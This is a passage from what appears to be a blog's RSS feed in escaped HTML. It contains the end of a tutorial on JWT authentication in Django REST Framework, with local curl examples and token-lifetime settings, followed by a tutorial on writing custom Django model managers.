style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzxOTA5MmY4ZTJhNzNkZDM3YyIsInVzZXJfaWQiOjJ9.ibQPgQuEgnuTY6PGja-GLZv4TrAQtKKCgue_muJKlE4&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/protected/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esta vista está protected&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;expiration-of-a-jwt&#34;&gt;Expiration of a JWT&lt;/h2&gt;&#xA;&lt;p&gt;If you followed the example and let a few minutes pass you will notice that the access token expires and will no longer be valid. &lt;strong&gt;The access token has a default duration of 5 minutes&lt;/strong&gt;, this is to avoid problems if someone manages to intercept it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzxOTA5MmY4ZTJhNzNkZDM3YyIsInVzZXJfaWQiOjJ9.ibQPgQuEgnuTY6PGja-GLZv4TrAQtKKCgue_muJKlE4&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/protected/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Given token not valid for any token type&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_not_valid&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;messages&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_class&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;AccessToken&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;token_type&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Token is invalid or expired&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;update-access-token&#34;&gt;Update access token&lt;/h2&gt;&#xA;&lt;p&gt;To obtain another valid token, we simply send our update token to the endpoint we created in &lt;em&gt;/api/token/refresh/&lt;/em&gt;. **The update token has a default duration of 24 hours ** After 24 hours we will no longer be able to refresh the access token and we will have to send a username and password again.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -d &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;refresh=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTYyMzQ0NjEzNiwianRpIjoiMjcyOTI0OTkwOGVhNGQ2ZjkxMDFiMGI4ZjhlZDZkY2QiLCJ1c2VyX2lkIjoyfQ.zkCWbKBnkDCukZVB8cHiCnrUOHRl1vWF6Oqg29IFT7A&amp;#34;&lt;/span&gt; -X POST http://127.0.0.1:8000/api/token/refresh/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzMzY1NDU3LCJqdGkiOiJlZjljNWFiYjI1MzU0YWJjYjc4YWRmNTI2MDA2OTEwNCIsInVzZXJfaWQiOjJ9.RPrfobpIF52W0wdNJk4zLYcgWpymZdgAPFxOIH0KEsk&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our application will return a new access token that we can use again to authenticate ourselves.&lt;/p&gt;&#xA;&lt;h2 id=&#34;modify-the-default-values-of-the-jwts&#34;&gt;Modify the default values of the JWTs&lt;/h2&gt;&#xA;&lt;p&gt;To do this we go to the Django configuration file and create a variable called SIMPLE_JWT, in which we can overwrite the data we want and place the duration that suits you best.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; timedelta&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SIMPLE_JWT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ACCESS_TOKEN_LIFETIME&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; timedelta(minutes&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;REFRESH_TOKEN_LIFETIME&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; timedelta(days&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; ...}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please check &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-rest-framework-simplejwt.readthedocs.io/en/latest/settings.html#refresh-token-lifetime&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official django-rest-framework-simplejwt documentation&lt;/a&gt;&#xA; for all the configuration variables for your JWTs in Django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;problems-with-jwts&#34;&gt;Problems with JWTs&lt;/h2&gt;&#xA;&lt;p&gt;Not everything is a bed of roses when dealing with JSON Web Tokens. You probably don&amp;rsquo;t want your users to be entering username and password every time they use your application, you probably want to keep the values of these two tokens for later use and you are wondering which is the right choice, Local Storage or in the cookies?&lt;/p&gt;&#xA;&lt;p&gt;Well, the question brings a series of very difficult questions to answer that divide the opinions of the developers and leave us without a clear answer:&lt;/p&gt;&#xA;&lt;p&gt;How do I deal with a JWT with outdated information or permissions? What is the best way to invalidate a JWT on an external server or change the cryptographic key? What if the information I store in the JWT exceeds the size allowed per cookie? If instead of saving content in the JWT I only save the user ID, isn&amp;rsquo;t that the same as a cookie?&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;JWTs (JSON Web Tokens) have become extremely popular, some even consider them a replacement for the classic tokens used by other frameworks, such as the Django Rest Framework. Using JWT or regular tokens (SWT) allows you to store all your session information directly on the token and they are also cryptographically signed, sounds good doesn&amp;rsquo;t it?&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-jwt&#34;&gt;What is JWT?&lt;/h2&gt;&#xA;&lt;p&gt;JWT is a standard for the creation of JSON-based access tokens for the exchange of information between two parties. These tokens, and their content, can be verified because they are digitally signed. This cryptographic signature guarantees &lt;strong&gt;that the content has not been altered and that the issuer is who they say they are&lt;/strong&gt;. This makes them perfect for:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a custom manager django?</title>
      <link>https://coffeebytes.dev/en/django/how-to-create-a-custom-manager-django/</link>
      <pubDate>Fri, 28 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-create-a-custom-manager-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A Manager (or handler) is the interface through which query operations or queries from the database are provided to Django models. Yes, I mean that &lt;em&gt;objects&lt;/em&gt; that goes after the name of your model; &lt;em&gt;YourModel.objects.all()&lt;/em&gt; and &lt;em&gt;Tumodel.objects.filter()&lt;/em&gt;. All Django models have at least one manager. Whenever you use the object manager (I will refer to it as manager from here on) in a database query using the Django ORM you are making use of its default &lt;em&gt;object manager&lt;/em&gt;. These managers in Django can be customized to modify the objects returned by a query and we can customize them to our liking.&lt;/p&gt;&#xA;&lt;p&gt;Before you start, if you don&amp;rsquo;t know the basics of Django you can start with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;the definitive guide to Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if you are looking to optimize your Django app, probably my post where I talk about how to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;improve performance of slow Django apps&lt;/a&gt;&#xA; will serve you better.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-django-object-manager&#34;&gt;The Django object manager&lt;/h2&gt;&#xA;&lt;p&gt;If you have used the Django ORM, you have probably already used the default manager. Objects is the name of the default manager and &lt;strong&gt;is responsible for returning all objects&lt;/strong&gt; in a Django model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;modifying-the-default-manager&#34;&gt;Modifying the default manager&lt;/h2&gt;&#xA;&lt;p&gt;Perhaps we want to have two managers, one that returns all objects and another that returns the most recent objects, or objects created by a particular user, or objects filtered by a term.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start by modifying the name of the default manager, to do so we just have to assign it to the Manager object of models.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      stem &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager() &lt;span style=&#34;color:#78787e&#34;&gt;#Allows you to call Videogame.stem.all() instead of Videogame.objects.all()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What is this for? Well, we can now call the &lt;em&gt;object manager&lt;/em&gt; in a different way, which may improve the readability of our code, but it is not the most important reason.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stem&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;adding-methods-to-a-django-manager&#34;&gt;Adding methods to a Django manager&lt;/h2&gt;&#xA;&lt;p&gt;A custom manager allows us to add new methods, which will give it unique behaviors. How? You can filter the results of a search, limit the results according to the user, a range of dates, a number of results, whatever you prefer.&lt;/p&gt;&#xA;&lt;p&gt;Look at this example below, we instantiate a new manager called &lt;em&gt;VideogameManager&lt;/em&gt;, which inherits from &lt;em&gt;models.Manager&lt;/em&gt;. We add a method called &lt;em&gt;count_titles&lt;/em&gt; that will be in charge of counting the results for a given search, nothing too complicated, we simply concatenate a &lt;em&gt;filter&lt;/em&gt; with a query, as if it were any search.&lt;/p&gt;&#xA;&lt;p&gt;Since we have this new manager with the &lt;em&gt;count_titles&lt;/em&gt; method, we replace the &lt;em&gt;objects&lt;/em&gt; property of our &lt;em&gt;Videogame&lt;/em&gt; model with an instance of the manager we just created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameManager&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;count_title&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, keyword):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;keyword)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;count()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#78787e&#34;&gt;#self refers to manager itself&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;…&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      objects &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; VideogameManager() &lt;span style=&#34;color:#78787e&#34;&gt;# rename default manager, objects will return something else instead of all&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Now our default manager, &lt;em&gt;objects&lt;/em&gt;, has a method called &lt;em&gt;count_titles&lt;/em&gt; that we can use as if it were part of the original Django ORM.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;count_title(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fantasy&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;modifying-the-initial-manager-querysets&#34;&gt;Modifying the initial Manager QuerySets&lt;/h2&gt;&#xA;&lt;p&gt;A Manager&amp;rsquo;s base QuerySet returns all objects in the system. But what if we are only interested in certain data? Imagine that the online store has a database of all video games, but, since we are basic geeks, we gave the squarenix company a special section.&lt;/p&gt;&#xA;&lt;p&gt;If we write individual custom queries for each queryset in that section it would look something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Fantasy&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(description__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Aventura&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;squarenix&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(genre&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RPG&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you know, the above repeats too much code, violating the DRY maxim.&lt;/p&gt;&#xA;&lt;p&gt;We can replace the base QuerySet by overwriting the &lt;em&gt;Manager.get_query_set()&lt;/em&gt; method so that the default queryset we get does the filtering by company name.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;# define a subclass for manager&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SquarenixManager&lt;/span&gt;(models&lt;span 